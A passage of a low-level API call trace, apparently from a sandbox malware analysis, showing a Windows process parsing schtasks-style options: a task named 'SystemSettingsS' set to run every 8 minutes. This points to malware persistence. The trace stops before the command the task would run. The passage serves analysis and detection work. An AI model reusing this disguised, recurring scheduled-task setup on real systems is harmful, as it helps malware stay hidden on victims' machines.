_Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.143] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.143] lstrlenW (lpString="|change|") returned 8 [0135.143] lstrlenW (lpString="|tn|") returned 4 [0135.143] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0135.143] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.143] lstrlenW (lpString="run") returned 3 [0135.143] lstrlenW (lpString="run") returned 3 [0135.144] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.144] lstrlenW (lpString="tn") returned 2 [0135.144] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.144] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.144] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.144] lstrlenW (lpString="|run|") returned 5 [0135.144] lstrlenW (lpString="|tn|") returned 4 [0135.144] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0135.144] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.144] lstrlenW (lpString="end") returned 3 [0135.144] lstrlenW (lpString="end") returned 3 [0135.144] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.144] lstrlenW (lpString="tn") returned 2 [0135.144] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.144] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.144] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.144] lstrlenW (lpString="|end|") returned 5 [0135.144] lstrlenW (lpString="|tn|") returned 4 [0135.144] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0135.144] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.144] lstrlenW (lpString="showsid") returned 7 [0135.144] lstrlenW (lpString="showsid") returned 7 [0135.144] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.144] GetProcessHeap () returned 0x2781b7c0000 [0135.144] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4370) returned 1 [0135.144] GetProcessHeap () returned 0x2781b7c0000 [0135.144] RtlReAllocateHeap (Heap=0x2781b7c0000, Flags=0xc, Ptr=0x2781b7c4370, Size=0x16) returned 0x2781b7c4370 [0135.144] lstrlenW (lpString="tn") returned 2 [0135.144] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.145] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.145] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.145] lstrlenW (lpString="|showsid|") returned 9 [0135.145] lstrlenW (lpString="|tn|") returned 4 [0135.145] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] lstrlenW (lpString="/tn") returned 3 [0135.145] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] lstrlenW (lpString="/tn") returned 3 [0135.145] GetProcessHeap () returned 0x2781b7c0000 [0135.145] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x8) returned 0x2781b7c4310 [0135.145] GetProcessHeap () returned 0x2781b7c0000 [0135.145] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb4d0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.145] lstrlenW (lpString="-/") returned 2 [0135.145] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.145] StrChrIW (lpStart="SystemSettingsS", wMatch=0x3a) returned 0x0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.145] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.145] GetProcessHeap () returned 0x2781b7c0000 [0135.145] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb650 [0135.145] GetProcessHeap () returned 0x2781b7c0000 [0135.145] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb6b0 [0135.145] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.146] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.146] lstrlenW (lpString="/sc") returned 3 [0135.146] lstrlenW (lpString="-/") returned 2 [0135.146] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.146] lstrlenW (lpString="?") returned 1 [0135.146] lstrlenW (lpString="?") returned 1 [0135.146] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.146] lstrlenW (lpString="sc") returned 2 [0135.146] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.146] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.146] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.146] lstrlenW (lpString="|?|") returned 3 [0135.146] lstrlenW (lpString="|sc|") returned 4 [0135.146] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.146] lstrlenW (lpString="create") returned 6 [0135.146] lstrlenW (lpString="create") returned 6 [0135.146] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.146] lstrlenW (lpString="sc") returned 2 [0135.146] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.146] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.146] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.146] lstrlenW (lpString="|create|") returned 8 [0135.146] lstrlenW (lpString="|sc|") returned 4 [0135.146] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.146] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.146] lstrlenW (lpString="delete") returned 6 [0135.146] lstrlenW (lpString="delete") returned 6 [0135.146] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] lstrlenW (lpString="sc") returned 2 [0135.147] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.147] lstrlenW (lpString="|delete|") returned 8 [0135.147] lstrlenW (lpString="|sc|") returned 4 [0135.147] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0135.147] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.147] lstrlenW (lpString="query") returned 5 [0135.147] lstrlenW (lpString="query") returned 5 [0135.147] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] lstrlenW (lpString="sc") returned 2 [0135.147] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.147] lstrlenW (lpString="|query|") returned 7 [0135.147] lstrlenW (lpString="|sc|") returned 4 [0135.147] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0135.147] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.147] lstrlenW (lpString="change") returned 6 [0135.147] lstrlenW (lpString="change") returned 6 [0135.147] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] lstrlenW (lpString="sc") returned 2 [0135.147] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.147] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.147] lstrlenW (lpString="|change|") returned 8 [0135.148] lstrlenW (lpString="|sc|") returned 4 [0135.148] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0135.148] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.148] lstrlenW (lpString="run") returned 3 [0135.148] lstrlenW (lpString="run") returned 3 [0135.148] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.148] lstrlenW (lpString="sc") returned 2 [0135.148] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.148] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.148] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.148] lstrlenW (lpString="|run|") returned 5 [0135.148] lstrlenW (lpString="|sc|") returned 4 [0135.148] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0135.148] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.148] lstrlenW (lpString="end") returned 3 [0135.148] lstrlenW (lpString="end") returned 3 [0135.148] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.148] lstrlenW (lpString="sc") returned 2 [0135.148] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.148] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.148] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.148] lstrlenW (lpString="|end|") returned 5 [0135.148] lstrlenW (lpString="|sc|") returned 4 [0135.148] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0135.148] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.148] lstrlenW (lpString="showsid") returned 7 [0135.148] lstrlenW (lpString="showsid") returned 7 [0135.148] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.149] lstrlenW (lpString="sc") returned 2 [0135.149] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.149] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.149] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|sc|") returned 4 [0135.149] lstrlenW (lpString="|showsid|") returned 9 [0135.149] lstrlenW (lpString="|sc|") returned 4 [0135.149] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] lstrlenW (lpString="/sc") returned 3 [0135.149] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] lstrlenW (lpString="/sc") returned 3 [0135.149] GetProcessHeap () returned 0x2781b7c0000 [0135.149] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x8) returned 0x2781b7c3b60 [0135.149] GetProcessHeap () returned 0x2781b7c0000 [0135.149] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb5f0 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] lstrlenW (lpString="MINUTE") returned 6 [0135.149] lstrlenW (lpString="-/") returned 2 [0135.149] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] lstrlenW (lpString="MINUTE") returned 6 [0135.149] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.149] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.150] lstrlenW (lpString="MINUTE") returned 6 [0135.150] GetProcessHeap () returned 0x2781b7c0000 [0135.150] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7c3b80 [0135.150] GetProcessHeap () returned 0x2781b7c0000 [0135.150] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb950 [0135.150] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.150] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.150] lstrlenW (lpString="/mo") returned 3 [0135.150] lstrlenW (lpString="-/") returned 2 [0135.150] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.150] lstrlenW (lpString="?") returned 1 [0135.150] lstrlenW (lpString="?") returned 1 [0135.150] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.150] lstrlenW (lpString="mo") returned 2 [0135.150] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.151] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.151] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.151] lstrlenW (lpString="|?|") returned 3 [0135.151] lstrlenW (lpString="|mo|") returned 4 [0135.151] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.151] lstrlenW (lpString="create") returned 6 [0135.151] lstrlenW (lpString="create") returned 6 [0135.151] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.151] lstrlenW (lpString="mo") returned 2 [0135.151] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.151] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.151] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.151] lstrlenW (lpString="|create|") returned 8 [0135.151] lstrlenW (lpString="|mo|") returned 4 [0135.151] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0135.153] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.153] lstrlenW (lpString="delete") returned 6 [0135.153] lstrlenW (lpString="delete") returned 6 [0135.153] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.153] lstrlenW (lpString="mo") returned 2 [0135.153] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.153] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.153] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.153] lstrlenW (lpString="|delete|") returned 8 [0135.153] lstrlenW (lpString="|mo|") returned 4 [0135.153] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0135.153] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.153] lstrlenW (lpString="query") returned 5 [0135.153] lstrlenW (lpString="query") returned 5 [0135.153] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.153] lstrlenW (lpString="mo") returned 2 [0135.154] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.154] lstrlenW (lpString="|query|") returned 7 [0135.154] lstrlenW (lpString="|mo|") returned 4 [0135.154] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0135.154] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.154] lstrlenW (lpString="change") returned 6 [0135.154] lstrlenW (lpString="change") returned 6 [0135.154] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.154] lstrlenW (lpString="mo") returned 2 [0135.154] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.154] lstrlenW (lpString="|change|") returned 8 [0135.154] lstrlenW (lpString="|mo|") returned 4 [0135.154] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0135.154] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.154] lstrlenW (lpString="run") returned 3 [0135.154] lstrlenW (lpString="run") returned 3 [0135.154] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.154] lstrlenW (lpString="mo") returned 2 [0135.154] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.154] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.154] lstrlenW (lpString="|run|") returned 5 [0135.154] lstrlenW (lpString="|mo|") returned 4 [0135.154] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0135.154] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] lstrlenW (lpString="end") returned 3 [0135.155] lstrlenW (lpString="end") returned 3 [0135.155] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.155] lstrlenW (lpString="mo") returned 2 [0135.155] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.155] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.155] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.155] lstrlenW (lpString="|end|") returned 5 [0135.155] lstrlenW (lpString="|mo|") returned 4 [0135.155] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] lstrlenW (lpString="showsid") returned 7 [0135.155] lstrlenW (lpString="showsid") returned 7 [0135.155] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.155] lstrlenW (lpString="mo") returned 2 [0135.155] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.155] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.155] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|mo|") returned 4 [0135.155] lstrlenW (lpString="|showsid|") returned 9 [0135.155] lstrlenW (lpString="|mo|") returned 4 [0135.155] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] lstrlenW (lpString="/mo") returned 3 [0135.155] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.155] lstrlenW (lpString="/mo") returned 3 [0135.156] GetProcessHeap () returned 0x2781b7c0000 [0135.156] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x8) returned 0x2781b7c3ba0 [0135.156] GetProcessHeap () returned 0x2781b7c0000 [0135.156] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb530 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] lstrlenW (lpString="8") returned 1 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] lstrlenW (lpString="8") returned 1 [0135.156] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] lstrlenW (lpString="8") returned 1 [0135.156] GetProcessHeap () returned 0x2781b7c0000 [0135.156] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x4) returned 0x2781b7c3bc0 [0135.156] GetProcessHeap () returned 0x2781b7c0000 [0135.156] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb860 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.156] lstrlenW (lpString="/tr") returned 3 [0135.156] lstrlenW (lpString="-/") returned 2 [0135.156] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.156] lstrlenW (lpString="?") returned 1 [0135.156] lstrlenW (lpString="?") returned 1 [0135.156] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.156] lstrlenW (lpString="tr") returned 2 [0135.156] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.156] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.156] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.156] lstrlenW (lpString="|?|") returned 3 [0135.156] lstrlenW (lpString="|tr|") returned 4 [0135.157] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.157] lstrlenW (lpString="create") returned 6 [0135.157] lstrlenW (lpString="create") returned 6 [0135.157] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] lstrlenW (lpString="tr") returned 2 [0135.157] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.157] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.157] lstrlenW (lpString="|create|") returned 8 [0135.157] lstrlenW (lpString="|tr|") returned 4 [0135.157] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.157] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.157] lstrlenW (lpString="delete") returned 6 [0135.157] lstrlenW (lpString="delete") returned 6 [0135.157] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] lstrlenW (lpString="tr") returned 2 [0135.157] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.157] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.157] lstrlenW (lpString="|delete|") returned 8 [0135.157] lstrlenW (lpString="|tr|") returned 4 [0135.157] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0135.157] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.157] lstrlenW (lpString="query") returned 5 [0135.157] lstrlenW (lpString="query") returned 5 [0135.157] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] lstrlenW (lpString="tr") returned 2 [0135.157] _memicmp (_Buf1=0x2781b7c4330, 